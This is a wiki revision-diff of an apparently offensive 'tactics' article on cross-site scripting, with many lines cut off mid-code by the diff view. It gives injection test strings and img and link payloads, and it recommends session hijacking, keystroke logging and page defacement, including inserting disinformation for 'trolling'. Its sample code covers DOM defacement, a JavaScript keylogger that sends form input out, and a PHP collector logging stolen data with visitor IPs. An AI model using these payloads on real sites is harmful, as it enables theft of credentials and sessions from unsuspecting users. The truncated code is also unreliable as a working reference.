tactics:xss
Differences
This shows you the differences between two versions of the page.
| Next revision | Previous revision | ||
| tactics:xss [2024/06/06 09:46] – created Humphrey Boa-Gart | tactics:xss [2025/09/30 22:44] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | {{wst> | + | {{wst> |
| ====== Cross-Site Scripting (XSS) ====== | ====== Cross-Site Scripting (XSS) ====== | ||
| + | Cross site scripting (or XSS) is a method of exploiting a website that does not validate user supplied input or sanitize output. Web servers that fail to do so will allow you to run arbitrary javascript on an end users browser. | ||
| - | {{tag> | + | ===== Entrypoints ===== |
| + | |||
| + | XSS entrypoints are usually found in webforms & querystrings. You can test for the existence of xss by using the following string. | ||
| + | |||
| + | < | ||
| + | |||
| + | You also may be able to include javascript embedded in a flash object, or an image like so: | ||
| + | |||
| + | <img src=" | ||
| + | |||
| + | But this varies between browsers. Another way is like this | ||
| + | |||
| + | <a href=" | ||
| + | |||
| + | But this requires your target to click a link | ||
| + | |||
| + | ===== Things To Do ===== | ||
| + | |||
| + | == Hijack user sessions/ | ||
| + | |||
| + | Since user session ID and occasionally usernames/ | ||
| + | |||
| + | == Log Keystrokes == | ||
| + | |||
| + | You can write some code in javascript to send data via ajax/ | ||
| + | |||
| + | == Deface pages == | ||
| + | |||
| + | If the xss exploit you've discovered is saved into a database and redisplayed to other users, you can deface the page by overlaying content. | ||
| + | |||
| + | ===== Sample Code ===== | ||
| + | |||
| + | < | ||
| + | // | ||
| + | //Overlay a black background with LOL in big white text | ||
| + | html='< | ||
| + | document.write(html); | ||
| + | </ | ||
| + | |||
| + | < | ||
| + | // | ||
| + | //Change the content of < | ||
| + | html='< | ||
| + | window.document.body.innerHTML=html; | ||
| + | </ | ||
| + | |||
| + | < | ||
| + | // | ||
| + | //You can study the structure of a site and change the content for any element ID or tag name | ||
| + | html='< | ||
| + | document.getElementById(' | ||
| + | document.getElementsByTagName(' | ||
| + | //This is epic for trolling by inserting typos, disinformation, | ||
| + | </ | ||
| + | |||
| + | < | ||
| + | // | ||
| + | //This is an example of a keylogger. There is also a php file on this article you can use to capture the data. | ||
| + | randVal = ' | ||
| + | wp='< | ||
| + | window.onload=function(){ | ||
| + | window.document.body.innerHTML='< | ||
| + | } | ||
| + | function kl(){ | ||
| + | inp=document.getElementsByTagName(' | ||
| + | qs=''; | ||
| + | for(var i = 0; i < inp.length; i++){ | ||
| + | qs=qs+i+' | ||
| + | } | ||
| + | cn=document.getElementById(randVal); | ||
| + | kf='< | ||
| + | cn.innerHTML=kf; | ||
| + | } | ||
| + | </ | ||
| + | |||
| + | < | ||
| + | // | ||
| + | //This will catch all data passed as querystrings and save them in a readable format with IP, referrer & timestamp | ||
| + | <?php | ||
| + | $dumpFile = " | ||
| + | $fh = fopen($dumpFile, | ||
| + | fwrite($fh, | ||
| + | foreach($_GET as $qs => $val){ | ||
| + | fwrite($fh, | ||
| + | } | ||
| + | fwrite($fh, | ||
| + | fclose($fh); | ||
| + | ?> | ||
| + | </ | ||
| + | |||
| + | |||
| + | {{tag> | ||
tactics/xss.1717667199.txt.gz · Last modified: (external edit)
Find this page online at: https://bestpoint.institute/tactics/xss
Find this page online at: https://bestpoint.institute/tactics/xss